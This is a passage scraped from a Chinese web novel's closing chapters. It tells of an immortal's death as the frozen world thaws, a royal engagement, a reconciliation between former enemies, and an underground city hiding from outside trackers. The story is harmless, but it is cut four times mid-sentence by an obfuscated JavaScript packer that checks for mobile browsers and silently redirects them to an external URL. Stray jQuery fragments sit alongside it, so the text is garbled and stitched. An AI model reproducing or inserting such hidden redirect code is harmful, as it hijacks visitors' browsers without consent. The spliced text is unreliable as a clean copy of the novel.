RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687681|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话后,他敲了一下自己的脑袋,道,“嗨,说什么呢,傻子吗?你早就是个活了几千年的老东西了。” 一阵剧烈的颤动将他震到了地面上。他试图站起来,但是再也没能够。 于是只能用双臂拖动身体,匍匐向前。 男人爬进了一个开凿出来的洞穴中,里面十分的昏暗狭小,但足够干净整洁,有一张单人床,一面有些破损的镜子,一张三只脚的木桌,以及许多只带着锁的木箱。 他爬到那个镜子面前,看到自己的模样,白发,满脸皱纹,目光浑浊。 “……真丑。” 他放弃了对着镜子自我审视,来到那些带锁的木箱旁,从抽屉里找出钥匙,打开了其中一个。 箱子里满满当当塞的都是信件,其中一封掉了出来。他把它捡起来,打开,拿出信,眯起眼睛看了半天,恍然大悟似的说道:“哦哦……好像是上一个轮回的?” 他看不太清上面的字,大地在颤抖,他的眼睛也不太好用了,只能一次又一次眨眼,用有些肮脏的手心揉弄眼睛,泥土和灰尘弄脏了他的脸。 地面依然在震颤,像是有什么庞然大物在苏醒。 就在不久前,他进入了圣殿内的启动室,熟门熟路地找到了唤醒元城的机关,毫不犹豫地按下了它。 那一刻,剧烈的爆炸声在这个地下城市的各处响彻。 他催动所剩无几的力气,完成了最后一次的涅形,来到这个阴暗的洞穴外面。 时间所剩无几,热浪在地下穿梭,往他所在的地方袭来。 葛马靠在床边上,眯着眼睛,盯着那封信,试图念那上面的字,因为看不清楚而读得磕磕绊绊,“我的……信念……” 实在辨认得太困难,他放弃了。又从木箱子里翻出来一封信,打开,还是看不清。 于是又拿出了一封。一封,又一封,将它们堆积在胸口,像是想要用那些信件将自己掩埋一样。 就在这时,在他浑浊的视线里,一个白色的身影闪过。 那个身影穿过葛马,似乎没有实形。 不知自何处而来的白衣男人坐在床边上,模样端正,垂眸看向那几箱子信件。 葛马望过去,浑浊的眼睛眯起来,他笑了。 “你在这里啊。”他说。 身披白裘的人依然盯着那几箱信件,沉着自持的声音响起,“你是说……那些信,都是我写给你的?” 葛马笑得灿烂,皱纹在脸上浮现得愈发明显,“是啊,我都留着呢。” “这么多,我花一辈子也写不完吧。” “当然了,这些是所有轮回加在一起的。” 葛马像是宝贝一般,把它们捧起来,想要交给男人。但是,那些信件穿过对方的身体,落在了床上,形成了一个尖尖的山丘。 随着信件的掉落,葛马也倒了下去,他攀在床沿,侧着头,呼吸有些艰难。 好像只是递去信件这么一个简单的动作,已经把他所有的力气都花光了。 绿色的眼瞳中,光芒反复明灭。 “我听到热浪袭来的声音了。” 白衣的男人没有说话,但那一抹洁白的身影始终定在那里,像是永恒的光亮。 “好像成功了。”葛马的声音细若蚊呐,“就像你弟弟说的,冰爆没有发生。我们好像,真的……” 混乱在接近,那席卷一切、吞没一切的热浪,那代表着夏天,代表着生命的热浪,在向他袭来。 葛马闭上眼睛,伸出手去,搭在那些信件之上。纸张起伏,探入他的手指间,就仿佛有另外一只手在握着他。 “你看到了吗,我们一直期望的这个未来。冰雪消融,万物复苏……” 滚滚热浪没有放过元城中的任何一块寒冰,也如期抵达了这个狭小的洞穴,吞噬了其中的一切。 包括信件、镜子、幻影,所有。 “它到来了,光遗。”隆重的毁灭之中,有一种渊远的声音传递开来,渗透进每一块岩石、每一缕空气之中,宛如寰宇的梦呓,“这个没有你我的,新世界……” 295. 那之后1 ## 一年之后。 明媚的阳光洒进室内,照在桌面上,映出一小片光影。窗外是一片花园,种满了鲜艳的花朵和茂盛绿植。 女人坐在窗台的书桌前,拿着笔,斟酌良久,写下了第一句话。 “我们度过了寒冬,万物复苏,有花,有谷物,有从来没见过的动物从地下苏醒、进入我们的视野。 “人们将火炉搬出了屋子,家门口也不再堆积小山丘似的木柴。井口打上来的水是温暖的,因为冻伤而生病的人也越来越少了。 “雪一年只下一季,光欧一度因此郁郁寡欢,他说他要搬到叱云颠上去住,结果发现叱云颠上也没有雪了。 “那些一度与我们共生的驯鹿开始往西边更寒冷的地方迁徙,不过取而代之地,水牛、绵羊和野马进入了视野。我们在血皑周围划出了牧区和耕地,城市里拥挤的人口终于疏散到了温暖的大地上去。 “什么都回来了,不管是宜人的气候,还是繁复多样的生物。五谷丰登,鲜花遍野,那些过去的东西,都回到了我们的生命当中。 “除了那个叫葛马的人。” 敲门声响起,董莉莉回过头去。她时常披散的长发扎了起来,长久的夏日不再适合那样的造型,当下,整个人都变得干练了起来。 “谁呀?”她开口问。 “是我,赵婆婆。” 赵婆婆是与她最近往来较多的管家,主要是帮助她打理家里的一切。 现在和以前不一样了。回到了血皑城,离开了从小长大的那个家,现在……她有一个更大的家庭需要管理。 “今天去场地采采风,殿下让我接您过去。”婆婆说道。 自从杜光欧回到血皑城之后,一年时间里,他没有登基。父兄逝去,三年之间,他不会登上那个王座,这是他在众人面前立下的誓言,以此纪念逝去的人们。 话虽这么说,但是,一个城主应当肩负的责任,他也一件没少担。 “马上就来。”董莉莉说道。 她又趴在桌面上,在那信上落下几笔。 “一开始,我们都不相信他死了,毕竟他已经活了几千年,而且还有那种涅形的能力。 “直到纳七——就是那头总和我们在一起的白色驯鹿——背着葛马的斜挎包出现在我们面前。在看过里面的一封洋洋洒洒的告别书后,我们才肯接受他已经不在这个世上这个事实。 “光欧说,他自轮回中诞生,也随轮回的消亡而逝去。他之所以现形,是因为这个世界被束缚而生的屈辱与不甘。他在世界的盛怒中诞生,是那愤怒的具象化。 “而当这个世界的桎梏消失,愤怒消解,他也就失去了存在的载体。 “他作为葛马离开了我们,但是,也永远与我们同在。” 女人起身离开了房间,洁白的纸张躺在桌面上,字迹沉静。 她跟着赵婆婆上了马车,马车行走在王城内的石板路上。 四处都可以见到工人们在忙碌,搬运石块和水泥。 这一年,他们开始重新修建王城,这并非为了多么奢华享乐的目的,而是因为这里埋藏了太多不好的回忆。 所以干脆让这王城焕然一新,把故人的美好回忆装载在心里,如此,携带着那些生命的重量继续走下去。 马车在一栋楼宇前停了下来,董莉莉下了车,走进建筑里面。这是一个空旷的大堂,座椅还没有摆齐,只有偌大的穹顶,还有万众瞩目的高台。 此刻,一个男人站在高台上,目光望着一旁的窗户。他长发,独臂,一袭黑色的披风坠在地上,背影修长挺拔。 听到了门口的响动,他转过头来,露出一个笑容,“你来了。” 董莉莉走过去,像一直以来做的那样。 杜光欧注视着她,眼中带着难得一见的温情,“这个地方,你还喜欢吗?” 大堂有些空灵,站在高台上,仿佛能听到一种深抵灵魂的共鸣。 不久之后,这里会来很多人,两边会摆上许多鲜花,他们两人会在所有人的注视之下交换永恒诺言。 “我喜欢。你喜欢吗?”她问。 “我也喜欢。”他说。看着她,仿佛世界只有如此一人一般。 董莉莉笑起来,表情轻松地说:“爸说他不来,但是献上祝福。” “我还能奢求什么呢。”杜光欧环过董莉莉的腰,与她依偎在一起,“那个代代城主代代抗的‘倔老头’不来砸场子,我就已经很感激他了。” 偌大的厅堂内,两个身影迟迟没有离去。 直到天色有些暗了,他们才有些依依不舍地分开。 董莉莉回到了自己的房间,天色已经彻底黑了下来,她打开了台灯——那是最近从元城进口的新玩意,杜光欧收到之后第一个放在了她的房间。 借着那明亮但不刺眼的灯光,她重新执笔伏案,在信件的末尾接着写到—— “另外,我和光欧要结婚了。在这之后,想必还有许多的考验在等待我们吧。该如何经营一座城市,引领好其中的子民,在这方面,我们都是没有什么经验的新手。 “不过,我们会认真对待,这都为了创造一个更加美好的未来。这是葛马留下的世界,我们会好好爱惜它。 “话说回来,哪天有空的话,我去你那里做做客吧?血皑最近研究了几种甜点,是用麦子做的。农民们终于种出了量产丰富的麦种,口味都还不错,我带一些过去给你。 “顺便,也想向你请教请教,当年,你和燕无在甾染的时候,是如何经营那座城池的……” 董莉莉合上了信件,此刻,皓月已经攀在枝头上。 ## 牧盟,法陆贡周边,沿河城镇。 一个简陋朴素的石做房屋里,三个人围拢在木桌前,看着光秃秃的桌面面面相觑。 燕戎陵端来一碗热气腾腾的面,将它摆在桌子上,“快吃,尝尝我的手艺!” 一旁,燕无盯着那碗面,迟迟不肯动餐具,“能吃吗,哥?” 燕戎陵赶往后厨,没有搭理他。 另一旁,鹿力喜笑着说:“我先来尝尝大哥的手艺!” 他端起碗,视死如归,一口下去,卒。 鹿力喜倒在桌子上,捂着自己的肚子,喃喃道:“有……毒……” 燕无叹息了一声,目光往一旁看去。 另一边是古古,她一条腿翘起来踩在椅子上,聚精会神地盯着手里的一页纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703955|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们这一年间,先是安葬原先在暮落镇的镇民,然后又回麦哲也交差。终于人身自由了,燕戎陵跃跃欲试想要在牧盟的领地内重新选址,建立城镇。 眼前的女人还是那么小一个个头,但是,她比离开甾染那时候坚韧了许多,这一年东奔西走,遭了不少罪,人看起来粗糙了,但眼睛里的那份灵性没变。 燕无见古古捏着那张纸看得津津有味,不由问道:“你在看什么?” 过了半晌,古古深深吸了一口气,抻了个懒腰,说道:“莉莉寄过来的,她要和杜光欧结婚了。” “是吗?”燕无并不怎么意外地道,“他们也算是有情人终成眷属了。” “你还挺有感想?”古古挑眉,笑道。她个子小小的,模样却有些痞坏。 燕无:“在甾染那时候,她那般迫切地寻找杜光欧,可后者又一直在逃避,让人有种早晚会出事的错觉。” “实际好像也挺坎坷的,总之祝他们将来一帆风顺吧。”古古把信放在餐桌上,推到燕无的面前,“她还说要来看望我们,请教请教你当初是怎么掌管甾染的呢。” “请教谁,我?”燕无哑然失笑,捏起那封信看起来,“她太看得起我了。如果想知道怎么毁灭一座城池,我倒是可以教她,甾染就是个现成的例子。” 古古一笑,那都是过去的风云,已然变成了他们心里殷实的土地。再多过去的磨难,现在提起来,也不过是吹吹风一般,不值一提。 这时候,燕戎陵又端来一碗面,放到桌子上,“尝尝!” 燕无和古古盯着它,与其说那是一碗面,不如说那是一碗油水混合物,表面还漂浮着一些面类的残骸。 虽然天气暖和起来,人们可以种植大面积的粮食了,但无论怎么想,燕戎陵都是在浪费食物。 “哥,这东西,你自己吃过吗?”燕无没有动,只是问道。 “嗯?没有。我想让你们先尝尝来着。”燕戎陵拄着餐桌,看着鹿力喜,“他怎么躺下了,困了?” 燕无欲言又止,“……只能说,希望哪天能有个好心人把你收留了吧。我怕哪天你把自己弄死了。” “唉,说到这一点……”燕戎陵模样有些沮丧,他坐下来,语重心长,“记得之前和你们说过,我的真名天女,我总觉得她就在我的身边某处看着我。” “然后呢,这么多年过去了,她从没出现过吧?”燕无道。 “但是她一直在陪伴着我,我能感觉到,就在某处,某个地方。”燕戎陵的目光闪过一丝期盼的光亮,但说完它就渐渐暗淡了下去,“可是,最近,那种感觉消失了。不,不是最近,消失有一年了吧。我总觉得她偶尔还会来看看我,可又觉得那是在向我告别。” 燕无盯着自家的兄长,半晌,低声对古古道:“要不哪天给他找一个医师,看看脑袋,别出什么问题……” 古古也把脑袋凑过去,小声说:“不是说你三哥燕戎铭现在是个出名的游医吗,要不把他请过来吧,给自家人看病说不定还能便宜点。” “我看可以。”燕无给予了肯定。 “我可都听见了……!”燕戎陵皮笑肉不笑地震声道。他把新出锅的面端过来,放在燕无的眼前,“吃吧,四弟!” 296. 那之后2 燕无瘪了瘪嘴,转移了话题,“说起来附近是不是有一个不错的地段?在罗河旁边,当地人都管那里叫金水畔。哥,你去看过了吗?” 燕戎陵似乎忘性很大,紧跟着就转移了话题,“去看过,哇,那里真是个不错的地方,让我有点怀念的感觉,想起来在甾染生活过的那段时光了,但是它有没有甾染那种冰冷的钢铁气息。” 听到这里,古古开口说道:“听说甾染最近要举行什么活动,自从那里改建成商业之都之后,我们还没有去过。” 燕无:“那里也不欢迎我们吧。” “怎么会呢!”燕戎陵突然大声说,“前一阵子,摄文的大元帅……哦不,前大元帅不是还给你寄了信,请你去甾染会面吗?你打算什么时候出发?” 燕无脸上有些无奈,“他请我去,我就得去吗。别忘了我们之前是什么关系。” 燕戎陵拢过自己四弟的肩膀,开怀而笑,“不打不相识。而且一年前初进元城的时候,不是也互相帮了不少忙吗?” 燕无:“可当下他无缘无故邀请我,心里指不定在盘算什么。” “人家在信里不是说了吗,刺激地方经济。”燕戎陵煞有介事,神情认真地说道,“你们俩曾经在白鸣谷打仗,甾染人都知道。现在正是当众握手言和的好时机,城民们看到你们都不打了,才能安心在甾染搞发展,那里的贸易文化势头才能起来。” 燕无撇了撇嘴,模样拒绝,“算了吧。哥你忘了,最后那场战役中,我背弃了甾染,遗弃了那里的所有人。他们现在估计都恨我恨得不行。你让我回去,是想让人把我抓起来宰了吗?” “你不说就没人知道呀?”燕戎陵道。他并未被四弟说服,反而谆谆教导,“况且,你要这么想,正是因为你的离去,甾染才能从几百年的战争风潮里解脱出来。虽然它以其战争要塞而闻名,但那里的人过得并不幸福。” “你怎么知道人们怎么想?”燕无反问。 燕戎陵瞪大眼睛,音量拔高,“老弟,你大哥我,二弟戎真,三弟戎铭,这些能做城王的都一个个逃出来了。我们都这样,人民的生活能好到哪去?从建立军事城池的角度来看,那里显然不是什么风水宝地。” 燕无:“……” “所以啊,现在甾染能从战争中解脱出来,我认为是一件好事。”燕戎陵感慨道,“战争虽然是利剑,但也让那里的人们过度暴力警觉。现在挺好,城池里都是商人、建筑师、艺术家,欣欣向荣着呢,嚯,越说越想回去看看了。” 燕无闭目,“不管你怎么说,我不会回去。” ## 两个月后。 甾染,商街。 “哇,会转的玻璃灯!” “那是什么?是一个井口……还是一张画?” 古古像是进入了一个崭新的世界一般,东奔西走,马不停蹄。眼前映入的都是些未曾见过的新奇玩意,这让曾经是甾染经贸官且经营过一整条商街的她,感到无比的新奇与激动。 鹿力喜跟在古古身后,负责帮她拎着她看中的商品,大包小裹,好不忙活。 而燕无和燕戎陵走在后面,两个高个子在人群之中十分扎眼。燕无有点不自在,用兜帽遮住了脸庞,十分怕人能认出他来。 当初黎军进攻甾染的时候,杀将士,夺城池,但似乎没有殃及多少民众。现在生活在甾染的,大多还是一年前经历了甾染陷落的本地人。而他们当中,有不少人见过燕无,曾经这个原内承没少在公共场合露面。 燕无只觉得有些举步维艰。要是只有自己一个人被认出来倒还好,但重要的人都在身边,他不想引发什么骚乱。 在街道两旁若有若无的注视之下,燕无渐渐有些按捺不住了。 “哥,我直接去见那个摄文的了,你和他们逛。”燕无说完,扭头就走。 燕戎陵闻言,大声挽留,“你不先去吃饭啊,燕无!” 他就那么大声地把他的名字喊了出来,像是完全忘记这里可能有多少人记恨他一般。 有的时候燕无很想胖揍自己的大哥一顿,人起码不应该这么没心没肺。 他头也不回,快步离开。 约定的地点在一处高档的茶馆,是最近新开张的,燕无曾经没听说过这家店名。 抵达的时候,只见茶馆的门口已经被清空了,整条街都有士兵在把守,路过的行人只能绕路通行。 不愧是摄文来的,排场倒是很大,像是怕没人知道摄文的前大元帅到此一游似的。燕无在心里想道。 他前去茶馆门口,和卫兵说明了身份,顺利通行。 店家告知客人在二楼等待,于是乎,燕无登上二楼,在一个包厢前停了下来,一旁的侍者为他打开了门。 门一打开,他只觉得有一缕金光晃过来,直刺得他睁不开眼睛。 没等看清什么,只听声音传来,“初次见面,燕无阁下,真是久闻不如一见。” 陌生的声音。这是燕无头脑里第一个想法。他眯起眼,渐渐看清了房间里的事物。 干净整洁的房间,一张圆桌,几盆绿植,装修气派。窗户位于一侧,大开,正有日光袭来,那是几乎晃瞎他眼睛的元凶。 另有一个元凶,则是刚才说话之人的金灿灿的头发。 这种发色在甾染可不常见。 包厢的圆桌前坐着两个人,一个棕发蓝眼,一个金发碧眼。 燕无一瞬间以为自己进入了一个陌生的国度。 闻人佐看到来者之后,起身朝他点头示意。 碍于这里有旁人,燕无对待前大元帅的态度客气了点,朝他礼貌回礼。 而后,他目光回到那个陌生的男人身上,语气犹豫,“你是……” “这位是摄文王。”闻人佐介绍说。 名号一出,燕无顿时一愣。他对摄文的情况有所耳闻,听说他们这一年内部动荡不已,易主之后,又是立国,整个国家都不太平。 怎么摄文王居然有时间到甾染来了? “恭闻大名。”燕无道,他颔首以示敬意。 姜雨摆手,道:“阁下不用多礼,我来只是散心。听佐叔说,你们二人在甾染有约,我又从未到访此处,心想这里已经改建成了商业之都,将来往来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717095|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必会频繁,所以随他过来考察一二。” 燕无立在原地,有点局促。在来之前,他可不知道姜雨也在。 本来还带着一点怒意和不屑,想和摄文的原大元帅算算旧账。现在,人家的靠山一国之君在此,他还能做什么?但凡有点什么举动,都会被外面那些官兵抓起来。 难怪这整条街都封了,原来并非只是大元帅独自前来。 事已至此,他只能硬着头皮坐下来,摆出一副相处融洽的模样。毕竟,燕无也知道私人恩怨和公事得分开,在和平的当代,他当年和闻人佐在白鸣谷打架的那些往事早已无足轻重,只能大事化小,小事化了,沦为个人恩怨,私下解决。 侍者上了茶点,几人你请我我请你推拒了一番,这才开始品茶吃点心。 姜雨目光和善,向燕无望过来,“听说,阁下和佐叔不日还要登台,在众人面前发表感言,只为了让甾染的子民得知此处已经不会成为南北交战之地。” “是的,的确有这么个意图。”燕无回答。 “天气暖和了起来,寒冬已过,南陆发展欣欣向荣,听说叱云颠西侧也有新的远道而来的异国友人,这些都是好事。”姜雨吹了吹热茶,垂着眼睛说,“希望这番美好和谐的风气,能早日传播到北地的境内。” 听他这么说,燕无按捺不住好奇,问道:“摄文王有什么烦心事吗?” 姜雨叹息一声,似乎也不打算隐瞒,他就真的像是他说的那样,是出来散心的,抓了二三好友,借四五壶酒,在雅间谈心,“实不相瞒,摄文目前仍在动乱之中。我兄长留下的烂摊子……哦,我是指那个为人所知的预言者,姜昆维,他在摄文的影响力太大,追随他的人太多,势力难以感化清除。我们这一年时间,都是在内战。” “但听闻摄文在半年之前已经立国。”燕无心里最初有些抵触交流,但是,真当聊了起来,还是侃侃而谈,“我以为那是国家统一的信号。” “不,这只是无奈之举,目的是为了让西方的势力加入这个乱局,牵制住摄文境内的姜昆维的势力。”姜雨说道,模样无奈,“各方都有觊觎之物,聚在一起,反而会打起来,也给了我们重振旗鼓的喘息时间。” “那还真是刀锋走陷。”燕无评价道。他曾经管理一座城池都累死累活,何况姜雨手下的还是一整个不太平的国度,想想脑袋就疼。 姜雨看向一旁的闻人佐,笑得欣慰,“不过,好在有佐叔担任监国,替我解决了不少忧愁。” 燕无一听,盯着棕发的男人。这家伙,又升官了?看着没什么争强好胜的心,却升职升得比谁都快。 闻人佐:“不,我几乎没有帮什么忙,只是和元城来往多些,负责引进他们的技术。现在也就只有这样,才能够让我们在国家的内战中占据有利地位。” 燕无闻言,问道:“你们和元城有来往?” “是。”闻人佐道,“一年之前的事情过去之后,元城的文明开始复苏。不得不说,那里的技术实在是领先了外界太多,我们还有许多需要学习的方面。” “现在……那里是谁在统治?”燕无问。 297. 那之后3 “听说是夏未信。你可能不认识,总之是一个元城人。”闻人佐解释说。他板正地坐着,不喝茶也不吃东西,“不过,她似乎没有称王的意图,只是暂时在这个阶段带领那里刚刚苏醒的子民跟上时代的步伐。虽然这么说,但在技术层面,需要跟上他们的反而是我们。” 燕无:“……确实,元城里有很多匪夷所思的东西。” 闻人佐说道:“我听说血皑和元城的交往也十分密切。杜光欧阁下在回到血皑之后,也在改革变化,拆除了天骨盆地的城墙,说什么……‘将来如果还会发生战争的话,这种没用的石头高墙根本派不上什么用场。’” “……哈。”燕无发出一声意义不明的感叹,“他的举动还挺大刀阔斧的。” “想必是预见了什么吧。”闻人佐所有所思地说,“或许他知道元城的技术最终会将我们引领至何处,毕竟,他是外面的……” “外面的?”燕无疑惑。 “咳……不,没什么。”闻人佐咳嗽了一声,像是在掩饰什么。他转而说道,“我听说,元城人发明了一种东西,可以让人们远距离实时交流。” 姜雨听闻,连忙放下茶杯,神色好奇,“欸,佐叔,你指的是叫‘电话’的那种东西吗?” “是的。”闻人佐肯定。 “电话……?”燕无皱眉,他生平从来没有听说过这个词汇。 电……话……借雷电说话?应该不是吧。 “远,指的是能有多远?”燕无问。 “以现在的技术来说,从甾染到血皑应该没有问题。”闻人佐道。 燕无睁大了眼睛。这么远? 但是很快,他让自己的表情趋于平静。不能表现得太过惊讶,他绝对不能让对面的人瞧不起他,尤其是这个闻人佐。 燕无分析道:“这种东西应该还没有普及开来吧。” 闻人佐耐心地解释说:“是的,需要先做一些事先准备,生产电线,铺陈开来,而后才能使用这项新技术。” 燕无陷入了深思。这种东西,他这一年可从来没有听说过。 说实话,在一年之前的事情结束之后,其实他所在的牧盟几乎和元城没有任何的往来。毕竟,一开始,牧盟就几乎没有参与其中,不管是血皑和甾染的陷落,还是元城的骚乱。 牧盟失去了一个名叫暮落镇的镇子,并收获了名为枪支的武器,但是,似乎到这里就有些停步不前了。 可元城中还有太多前所未见的技术,想要跟上时代的发展,与元城的外交往来是必要的。 明明牧盟一度是最为开放的地区,然而在巨大的变革面前,统治者们还是退却了,对新技术望而生畏,停滞不前。 既然燕戎陵依然想在牧盟立业,自己作为他的弟弟也就有义务解决未来发展的核心问题。 “说起来……”姜雨和一旁的闻人佐聊起了家常,“佐叔,光欧阁下是不是邀请你去血皑一游?还让你带上女儿。” “的确有这么回事。”闻人佐回答。 姜雨沉吟了一声,“你可以去,但是不要带着小芹。” 闻人佐眨眨眼,不解,“为什么?” “小芹要是喜欢血皑就糟糕了,她想留在那里,你就回不来了。” “不,怎么会呢,陛下……” “怎么不会。”姜雨笑起来,悠然地闭眼品茶,“同为王族,我可太知道光欧阁下在想什么了。” 沉思的燕无听到对面两人的交谈,不由抬眼打量了闻人佐一番。心里想着,没想到这家伙还挺抢手,为什么自己一直看不出来对方究竟哪里好? 聊天还在继续,燕无又加入谈话之中,他们围绕着元城聊了一整个下午。 临近傍晚的时候,几人离开了茶馆。 燕无与闻人佐在约定的时间抵达公开讲台,针对他们二人的和平进行了一番宣讲。 曾经为敌的两股势力在甾染握手言和,象征着此地长久的和平。 宣讲仪式结束,燕无与那两个摄文人分道扬镳。此刻,他只一心想要见到自己的大哥,把前不久交流得出的结论告诉他。 他要告诉他,不管未来最终想要建设的是一个新的乡镇或者是城市,都必须向这个世界顶尖的技术看齐。 牧盟没有与元城牵线搭桥的动力,它已经足够富足。但是,人的精神绝不会在满足之中进步,它需要一些新的刺激。 世界正在发生变革。他们亟待了解这片此身存在的大地,与它永远同存同亡。 ## “夏女士亲启—— “尊敬的夏女士,牧盟法陆贡的燕戎陵向您来信。 “一年前,我们在元城山脚下的村落曾有一面之缘。那时,那座地下城市发生了一些惊心动魄的变故,我们也曾共同目睹。 “如今,时过一年,我给您去信,是谦卑地想要与您达成第一步的和平建交。 “牧盟是一片辽阔的土地,物产丰富,大寒潮之后也依然如此,北部与元城接壤,往来便利。因此,我忠心希望两地能够和谐共存,共同发展。 “牧盟的统治者们拒绝与您接触,您也未曾踏足牧盟的领土,我私自认为,这不是抗拒或者厌恶,只是出于一个简单的原因,那便是我们对彼此的不了解……” ## 元城,地下观测室。 夏未信掀开自己的护目镜,在有些昏暗的光线下,她阅读着信件上的文字。 观测室中许多个仪器同时闪烁着,十几名身穿制服的员工在那些仪器前操忙,转动旋钮,调整参数,观察屏幕上的信息,分析总结,预测走向。 员工们身上有着深浅不一的疤痕,那是冻伤。他们几乎都是从冰眠中醒来的元城人,本以为一年前的热爆会将他们牵连,但后来人们没有在元城中找到装载他们的容器,反而是在山脚下一个山沟里发现了他们。 没人知道是谁将他们转移了出来,但思来想去只有可能是一个人。 葛马。 观测室中,一个仪器突然发出滴滴的响声,表盘上出现了一个数字,十分钟,倒计时开始。 员工们紧盯着屏幕,屏息凝神。 夏未信看完了信件,轻声一笑,把它揣进自己的裤子口袋里,“这个牧盟的家伙还挺有意思……” “夏总管,还有九分钟。”有人提醒她道。 夏未信带上护目镜,与员工们一同观测那个屏幕上的倒计时,“好。” 时间一点一滴转动,调节参数的员工满头大汗,目不转睛地盯着表盘上的数字,在它跳到零的时候,他按下了执行键。 时间又过了一秒、两秒……十秒。 在一片寂静之中,仪器中传来女性机器人一般的声响,“反侦查程序启动,隐身状态启动,造物主追踪程序于十秒前经过,向其成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730491|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功传递拟造信息,数量,一。” “成功了!!”听到机械声音的汇报,所有员工一下子都炸开了锅,他们纷纷拍手叫号,兴奋地抓着彼此的衣袖,像是小孩子一样蹦着跳着,脸上是激动无比的神色。 夏未信也不由感到一阵欣慰,终于,一年前留下的隐患解决了。 在杜光欧“回来”之后,他主导了一项研究计划,名为反物质追踪。 据他的描述,外界的人类依然可能在试图捕获这个世界。并且,在这一年的观测之中,元城的科学家们的确发现了来自另一维度的“视线”。有人在追踪他们,这件事确凿无疑。 为了摆脱外界的追踪程序,苏醒的科学家们立刻投入到了这项事业中来。他们很快就接受了杜光欧带给他们的信息,这些继承了黄王意志的后人从一开始就相信有什么东西在桎梏着这个世界,而他们反抗也始终都是有意义的。 科学家们的行动力很强,在一年的时间里,研制出了反侦查仪器,能让“世界”的载体物质发送迷惑性质的波段,让外界的追踪者失去他们的信号。 就在刚才,当追踪程序再一度扫描而来时,他们的尝试第一次成功了。 终于,他们做到了瞒天过海。只要有了观测室中的这些反侦察仪器,外界就不再可能“看到”他们。 员工们兴奋地把夏未信抱了起来,举着她围着观测室跑了一大圈。 欢呼声中,夏未信也难得真心地笑起来,不再是那副冷兮兮、没什么温度的模样。 “好了,放我下来。这么重要的事情,我要去通知杜光欧。” 一旁,有员工向她汇报,“通往血皑的线路已经试行成功,两天前就能通话了。因为夏总管您工作繁忙,所以一直没有机会把这个消息汇报给您。” “太好了。”夏未信摘掉了自己的防射线护目镜,脱掉了实验用无尘手套,和员工一同前往了通讯间。 通讯间十分明亮,里面摆着四排长桌子,上面是整齐排列的通讯设备,数不清的各色导线连接着各个通讯器。 “哪一个是通向血皑的?”夏未信望着这一片杂乱,干脆开口问道。 实验员回答她,给她指路:“这一个。” 夏未信来到了第三排那带有听筒的设备前,她已经熟悉这东西的操作方式——拿起来,等待,然后就能够听到十万八千里之外的声音。 只不过,这还是她第一次给那么远距离的人通讯,还是那个杜光欧,那个最初她因为夏潜的事情而记恨、瞧不起,到最后却不得不敬佩的人。 她按照流程拿起传声设备,等待。 忙音持续了有一阵子,毕竟电话去得突然,不能保证对面一直守着另一端的设备等待接听。 她拿出了十足的耐心,但没想到对面的人并没有让她等待多久。 当她打算找一把椅子坐下来慢慢等待的时候,忙音突然消失了,紧接着有一阵细微的电流声从听筒中传来。 “好像是接通了……对面的,听得到我的声音吗?”夏未信拔高了自己的音量,生怕距离太远,经过传导之后,对面的人听不清自己说的话。 听筒里发出了窸窸窣窣的响声,而后,一个男人的声音传来,“夏女士?” 听到这个声音,夏未信一愣,突然变得有些局促起来,尽管她自己也不想这样,“白……先生。怎么是你接电话。杜光欧呢?” 298. 那之后4(完) 她讨厌自己现在这幅有些扭捏的模样,但实在没有办法。 如果不扼制的话,被勾起的情绪会催动她将现在的感受全盘托出。 “光欧暂时不在,今天是一周年纪念日,他去扫墓了。”白熠说道。 “一周年?这么快了……”她知道他说的是哪一天,是元城苏醒的那一天,那是一个旧时代的结束,也是新世界的伊始。 “是啊,已经过去一年了。”白熠顿了顿,问道,“你在元城一切都顺利吗?” 突如其来的关心让夏未信有点不自在,她突然想起来一年前在元城打算反戈黎礼之前,自己和白熠袒露心意的那个场景。那时是觉得肯定活不成了,他们两人起码要死一个以上,所以才那么大胆。 可现在两人都好好活着。 表达心意后,夏未信几乎再没有和白熠单独相处过,那个小小的插曲也就被她遗忘了。 可好巧不巧在这时候回忆了起来。 而她不觉得白熠会忘。 顿时,她脸烧得有些红,连话语也被烫得简短,“就那样,挺好。” “嗯,那就好。” 